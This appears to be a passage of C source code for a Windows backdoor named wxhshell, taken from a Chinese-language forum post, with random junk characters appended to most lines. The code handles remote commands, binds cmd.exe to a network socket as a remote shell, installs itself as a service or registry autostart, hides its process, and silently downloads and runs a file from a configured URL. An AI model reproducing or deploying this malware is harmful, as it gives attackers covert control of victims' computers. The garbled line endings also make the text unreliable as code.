  // 帮助 K<%8.mZ7  
  case '?': { e)}=T0 s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TtQd#mSI\  
    break; a^ys7UV  
  } l.Z+.<@  
  // 安装 cr?ZXu_  
  case 'i': { edZBQmx+#  
    if(Install()) %(H' j@D[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^NM>x Ienf  
    else &>R:oYN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vr;>Im  
    break; 7|"$YV'DM  
    } JbMp /  
  // 卸载 L$@+'Qn@:  
  case 'r': { )@!T_#  
    if(Uninstall()) 52^,qP'6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1]vDM&9  
    else ?_ v_*+b_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; 7QG]JX  
    break; f9+6gY  
    } madbl0[y.  
  // 显示 wxhshell 所在路径 |34w<0Pc,  
  case 'p': { )J2UNIgN  
    char svExeFile[MAX_PATH]; ~=<uYv?0s  
    strcpy(svExeFile,"\n\r"); Cv4nl7A'  
      strcat(svExeFile,ExeFile); $iA:3DM07  
        send(wsh,svExeFile,strlen(svExeFile),0); ~PU}==*q  
    break; kV8qpw}K  
    } J aJ/ |N  
  // 重启 e AaS }g 0  
  case 'b': { ~-uDN)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '(ZT }N  
    if(Boot(REBOOT)) '-$cvH7_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y"nz l]T  
    else { I]3!M`IMG  
    closesocket(wsh); CkNh3'<wg  
    ExitThread(0); @W~aoq6  
    } W@zu N)U  
    break; !1A< jL  
    } V 'fri/Z  
  // 关机 S@y?E}  
  case 'd': { bfpoX,:   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  ':DL  
    if(Boot(SHUTDOWN)) F(^#_tXP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9E4^hkD&  
    else { +At0V(  
    closesocket(wsh); G]mD_J1$  
    ExitThread(0); ULs'oT)K;  
    } 2OqEyXh  
    break; |$+/IxDP  
    } OKk" S_`  
  // 获取shell `DM)tm3&m  
  case 's': { Y##lFEt  
    CmdShell(wsh); Lf%}\0:  
    closesocket(wsh); ,4B8?0sH|  
    ExitThread(0); }r;=<mc,O  
    break; YN7`18u  
  } g`tV^b")  
  // 退出 x|()f 3{.  
  case 'x': { NJ;m&Tm,DF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #.C2_MN>  
    CloseIt(wsh); @xBO[v  
    break; <Q`3;ca^  
    } nKI?Sc  
  // 离开 V ZtFgN$J  
  case 'q': { 2]FRIy d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tCPK_Wws?Z  
    closesocket(wsh); -"^xg"  
    WSACleanup(); rhly.f7N=A  
    exit(1); u g;~dhe~  
    break; {kb7u5-  
        } (.L?sDQ</z  
  } >p" U|  
  } oq|`;k   
'/AX 'U8Y  
  // 提示信息 )_?h;wh 84  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .M ID)PY-  
} |ZXz&Xor  
  } rp2g./2  
!\O!Du  
  return; FJxb!- 0&  
} 7KJ0>0~Et  
Kb1@+  
// shell模块句柄 r:4]:NKCi  
int CmdShell(SOCKET sock) YD{N)v  
{ ?{5}3a bB`  
STARTUPINFO si; u0g"x_3  
ZeroMemory(&si,sizeof(si)); L {&=SR.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  Vo%Z|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c%(Nd i  
PROCESS_INFORMATION ProcessInfo; R|` `A5zQ  
char cmdline[]="cmd"; <s$T7Zk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !,]c}Y{i  
  return 0; [F(iV[n%  
} :2')`xT  
zE?dQD^OD  
// 自身启动模式 BQ70<m2D$  
int StartFromService(void) 4x@W]*i  
{  obPG]*3  
typedef struct }7P[%(T5  
{ p{ ``a=  
  DWORD ExitStatus; %Z,n3iND  
  DWORD PebBaseAddress; bD|VT  
  DWORD AffinityMask; Pf?15POg&B  
  DWORD BasePriority; iun_z$I<+Z  
  ULONG UniqueProcessId; t~) g)=>  
  ULONG InheritedFromUniqueProcessId; 4Tx.|   
}   PROCESS_BASIC_INFORMATION; o)DO[  
.~q>e*8AH  
PROCNTQSIP NtQueryInformationProcess; /^bU8E&^M  
n[# **s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7VWy1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V?p`rrj@  
j'hWhLax  
  HANDLE             hProcess; I:YgKs)[  
  PROCESS_BASIC_INFORMATION pbi; e#k)F.TZ:%  
 acQHqR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jB0Ts;5  
  if(NULL == hInst ) return 0; _{eA8J(A<  
G-;EB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mG0_&'"YIG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m&be55M;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3"k n5)x  
 3SPXJa\i  
  if (!NtQueryInformationProcess) return 0; 6K=}n] n  
r}:U'zlC{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -z se+]O`  
  if(!hProcess) return 0; UFUEY/q  
NLxR6O4}8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -%{+\x2  
9U=6l]Np  
  CloseHandle(hProcess); =A$d)&  
*19a\m=>oi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AE Elaq.B  
if(hProcess==NULL) return 0; ,068IEs  
+ef>ek  
HMODULE hMod; nNnfcA&W  
char procName[255]; LB}J7yEQvj  
unsigned long cbNeeded; xe3Jxo !U  
!T8sWMY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zqZ/z>Gf  
NmF8BmIj  
  CloseHandle(hProcess); .f>7a;V?}  
{eQijW2Z3  
if(strstr(procName,"services")) return 1; // 以服务启动 NS*Lv  
|+>U91!  
  return 0; // 注册表启动 ?|!m  
} @l5GBsLK  
9jNh%raG|  
// 主模块 R|wS*xd,  
int StartWxhshell(LPSTR lpCmdLine) xj3{Ke`6  
{ f;Ijl0d@  
  SOCKET wsl; p1mAoVxR  
BOOL val=TRUE; && PZ;  
  int port=0; k72NXagh  
  struct sockaddr_in door; YNKvR  
aYWUwYB$  
  if(wscfg.ws_autoins) Install(); kX:1=+{xg  
P4|A\|t  
port=atoi(lpCmdLine); 5l%g3F  
}Gx@1)??  
if(port<=0) port=wscfg.ws_port; 2pP"dX  
k5+ Fxf  
  WSADATA data; t'.:"H8BI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }9;mtMR$  
>}JEX]V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }LLQ +  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5 [4{1v  
  door.sin_family = AF_INET; Re'3bs:+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); soX^$l  
  door.sin_port = htons(port); Ae1b`%To  
t"e%'dFv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U^qS[HM  
closesocket(wsl); Z,M2vRj"qT  
return 1; :/t_5QN  
} 8|5+\1!#/)  
:2:%  
  if(listen(wsl,2) == INVALID_SOCKET) { C#3&,G W  
closesocket(wsl); 0V`~z-#  
return 1; ZjrBOb  
} ej=}OH4  
  Wxhshell(wsl); IH5^M74b  
  WSACleanup(); 0~W6IGE~  
UDnCHGq  
return 0; H6`zzH0"  
F"3'~ 6  
} sN5Mm8~  
+~M.Vs X  
// 以NT服务方式启动 ?Jgqb3+!o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SxcE@WM  
{ Rz6kwh=q  
DWORD   status = 0; -@B6$XWL  
  DWORD   specificError = 0xfffffff; JRAU|gr  
4E1j0ARQQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F5M|QX@-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9F~5Ht  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dP]Z:  
  serviceStatus.dwWin32ExitCode     = 0; K5??WB63B  
  serviceStatus.dwServiceSpecificExitCode = 0; eiRVw5g  
  serviceStatus.dwCheckPoint       = 0; R$+"'N6p  
  serviceStatus.dwWaitHint       = 0; SbsdunW+?  
Fx)><+-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VD =f 'D  
  if (hServiceStatusHandle==0) return; P\z1fscnK  
=2vZqGO30  
status = GetLastError(); {BJH}vV1)  
  if (status!=NO_ERROR) #Pg?T%('`  
{ h53G$Ol.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4! F$nmG)  
    serviceStatus.dwCheckPoint       = 0; HW"5MZ8E  
    serviceStatus.dwWaitHint       = 0; ,jD-fL/:  
    serviceStatus.dwWin32ExitCode     = status; C]ax}P>BQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; M*~XpT3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #]^M/y h  
    return; s5MG#M 9  
  } 'RNj5r  
|I|,6*)xg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KxfH6:\RB  
  serviceStatus.dwCheckPoint       = 0; 9C5F#(uY  
  serviceStatus.dwWaitHint       = 0; ]I;owk,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o_ [I#PT  
} yBv4 xKMH  
NL!xk cXO  
// 处理NT服务事件,比如:启动、停止 0TiDQ4}i[  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  BrZ17  
{ Q^?$2ck=  
switch(fdwControl) {?X +Yw  
{ \\d8ulu  
case SERVICE_CONTROL_STOP: RtDTcaW/  
  serviceStatus.dwWin32ExitCode = 0; g|4>S<uC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^?0?*  
  serviceStatus.dwCheckPoint   = 0; %(s2{$3  
  serviceStatus.dwWaitHint     = 0; ma"M?aM  
  { A v;NQt8ut  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dKw[#(m5v  
  } %uo#<Ny/ I  
  return; c^5fhmlt  
case SERVICE_CONTROL_PAUSE: twaH20  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !!Yf>0u#  
  break; Q2Uk0:M  
case SERVICE_CONTROL_CONTINUE: <YCR^?hJSi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i=fhK~Jd  
  break; wGHVq fm5  
case SERVICE_CONTROL_INTERROGATE: :z|$K^)7Z  
  break; W4h]4X  
}; sp0_f;bC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cwQ *P$n  
} 6QPT  
B>cx[.#!  
// 标准应用程序主函数 \D#+0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xq%BR[1  
{ = Fq{#sC>  
IQmlmu  
// 获取操作系统版本 8. %g&% S  
OsIsNt=GetOsVer(); u(ETc* D]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `1FNs?j  
yV&]i-ey  
  // 从命令行安装 NxFCVqGb  
  if(strpbrk(lpCmdLine,"iI")) Install(); qa6HwlC1  
!yKrA|w1  
  // 下载执行文件 F0kQ/x  
if(wscfg.ws_downexe) { +5kQ;D{+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *$mb~k^R  
  WinExec(wscfg.ws_filenam,SW_HIDE); :U @L$  
} Jr>Nc}!U  
^{E_fQJX  
if(!OsIsNt) { f uH3C~u7<  
// 如果时win9x,隐藏进程并且设置为注册表启动 nGTqW/k[+s  
HideProc(); 90H/Txq  
StartWxhshell(lpCmdLine); ;BHIss7  
} \z.p [;'ir  
else -W|~YK7e  
  if(StartFromService()) [[}ukG4  
  // 以服务方式启动 -, $:^4  
  StartServiceCtrlDispatcher(DispatchTable); oiz]Bd  
else z34+1d  
  // 普通方式启动 li} >xDSQ4  
  StartWxhshell(lpCmdLine); *r6v9  
ZalL}?E ?  
return 0; J%E0Wd  
}
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只看该作者 1 发表于: 2006-10-10
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